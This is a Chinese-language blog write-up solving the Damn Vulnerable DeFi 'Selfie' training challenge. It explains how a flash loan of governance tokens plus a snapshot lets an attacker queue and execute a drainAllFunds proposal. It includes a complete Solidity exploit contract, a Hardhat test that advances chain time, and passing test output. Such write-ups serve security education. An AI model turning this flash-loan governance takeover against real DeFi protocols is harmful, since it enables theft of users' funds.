# Damn Vulnerable DeFi 挑战记录 #6 - Selfie 

By [Runstar](https://paragraph.com/@runstar) · 2022-07-28

---

[**Challenge #6 - Selfie**](https://www.damnvulnerabledefi.xyz/challenges/6.html)

> A new cool lending pool has launched! It's now offering flash loans of DVT tokens.
> 
> Wow, and it even includes a really fancy governance mechanism to control it.
> 
> What could go wrong, right ?
> 
> You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

*   [See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/selfie)
    
*   [Complete the challenge](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/selfie/selfie.challenge.js)
    

[_OpenZeppelin_ 文档](https://docs.openzeppelin.com/contracts/3.x/api/token/erc20#ERC20Snapshot)

[_ERC20Snapshot.sol_](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Snapshot.sol)

**目标:** 取走闪电贷池中的150万个DVT token

        after(async function () {
            /** SUCCESS CONDITIONS */
    
            // Attacker has taken all tokens from the pool
            expect(await this.token.balanceOf(attacker.address)).to.be.equal(TOKENS_IN_POOL);
            expect(await this.token.balanceOf(this.pool.address)).to.be.equal("0");
        });
    

### 代码解析:

`SelfiePool.sol` DVT token闪电贷池

*   `flashLoan` 常规闪电贷函数
    
*   `drainAllFunds` 取走所有资金, 被`onlyGovernance` 保护
    

        function drainAllFunds(address receiver) external onlyGovernance {
           uint256 amount = token.balanceOf(address(this));
           token.transfer(receiver, amount);
           
           emit FundsDrained(receiver, amount);
       }
    

* * *

`DamnValuableTokenSnapshot.sol` 继承自\*[ERC20Snapshot.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Snapshot.sol)\* [](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Snapshot.sol)带快照功能的DVT token

*   `snapshot` 快照函数,记录快照id存入至lastSnapshotId
    
*   `getBalanceAtLastSnapshot` 返回指定地址上一次快照时的余额
    
*   `getTotalSupplyAtLastSnapshot` 返回上一次快照时的总余额
    

* * *

`SimpleGovernance.sol` 治理机制主合约, 可以发起提案并执行

`queueAction` 函数发起提案

        function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
           require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
           require(receiver != address(this), "Cannot queue actions that affect Governance");
    
           uint256 actionId = actionCounter;
    
           GovernanceAction storage actionToQueue = actions[actionId];
           actionToQueue.receiver = receiver;
           actionToQueue.weiAmount = weiAmount;
           actionToQueue.data = data;
           actionToQueue.proposedAt = block.timestamp;
    
           actionCounter++;
    
           emit ActionQueued(actionId, msg.sender);
           return actionId;
       }
    

*   check 有足够的治理代币
    
*   check 禁止合约自身发起提案
    

`executeAction` 函数,只能执行提案队列中的提案

        function executeAction(uint256 actionId) external payable {
            require(_canBeExecuted(actionId), "Cannot execute this action");
            
            GovernanceAction storage actionToExecute = actions[actionId];
            actionToExecute.executedAt = block.timestamp;
    
            actionToExecute.receiver.functionCallWithValue(
                actionToExecute.data,
                actionToExecute.weiAmount
            );
    

*   check 提案已加入队列
    
*   通过`functionCallWithValue` 执行提案内容
    

### 攻击思路:

通过`drainAllFunds` 取走所有资金,而该函数被`onlyGovernance` 保护, 且无法获得governance权限, 因此只能操控`SimpleGovernance` 合约提取资金,即通过拥有**超过一半的治理代币**发起提案执行取款操作

*   发起闪电贷借出所有治理代币
    
*   调用`snapshot` 函数快照
    
*   已拥有超过一半的治理代币直接发起取款提案成功进入提案队列
    
*   还款至借贷池完成闪电贷
    
*   等待两天(模拟环境中直接操控evm时间至2天后),执行提案内容取走所有资金
    

### 代码示例:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    interface IGovernance {
        function queueAction(
            address receiver,
            bytes calldata data,
            uint256 weiAmount
        ) external returns (uint256);
    
        function executeAction(uint256 actionId) external payable;
    }
    
    interface IFReceiver {
        function receiveTokens(address token, uint256 amount) external;
    }
    interface ISelfiePool {
        function flashLoan(uint256 borrowAmount) external;
    }
    
    
    interface IDVTSnapshot {
        function transfer(address recipient, uint256 amount) external returns (bool);
    
        function snapshot() external returns (uint256);
    }
    
    contract SelfieExploit is IFReceiver {
        address immutable attacker;
        IGovernance immutable governance;
        ISelfiePool immutable pool;
        uint256 actionId;
    
        constructor(IGovernance _governance, ISelfiePool _pool) {
            attacker = msg.sender;
            governance = _governance;
            pool = _pool;
        }
    
        function takeoverGov(uint256 amount) external {
            pool.flashLoan(amount); 
        }
    
        function receiveTokens(address token, uint256 amount) external override {
            IDVTSnapshot(token).snapshot();
            actionId = governance.queueAction(
                address(pool),
                abi.encodeWithSignature("drainAllFunds(address)", attacker),
                0
            );
            IDVTSnapshot(token).transfer(address(pool), amount);
        }
    
        function drainToAttacker() external {
            governance.executeAction(actionId);
        }
    }
    

        it("Exploit", async function () {
            /** CODE YOUR EXPLOIT HERE */
            const ExploitFactory = await ethers.getContractFactory("SelfieExploit", attacker);
            const exploit = await ExploitFactory.deploy(this.governance.address, this.pool.address);
    
            await exploit.takeoverGov(TOKENS_IN_POOL);
    
            await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); 
    
            await exploit.drainToAttacker();
        });
    

_运行通过_

    ❯ yarn run selfie
    yarn run v1.22.19
    warning ../../package.json: No license field
    $ yarn hardhat test test/selfie/selfie.challenge.js
    warning ../../package.json: No license field
    $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/selfie/selfie.challenge.js
    
    
      [Challenge] Selfie
        ✓ Exploit (210ms)
    
    
      1 passing (2s)
    
    Done in 3.82s.
    

\*\*_Twitter:_ [_@0xRunstar_](https://twitter.com/0xRunstar)

---

*Originally published on [Runstar](https://paragraph.com/@runstar/damn-vulnerable-defi-6-selfie)*
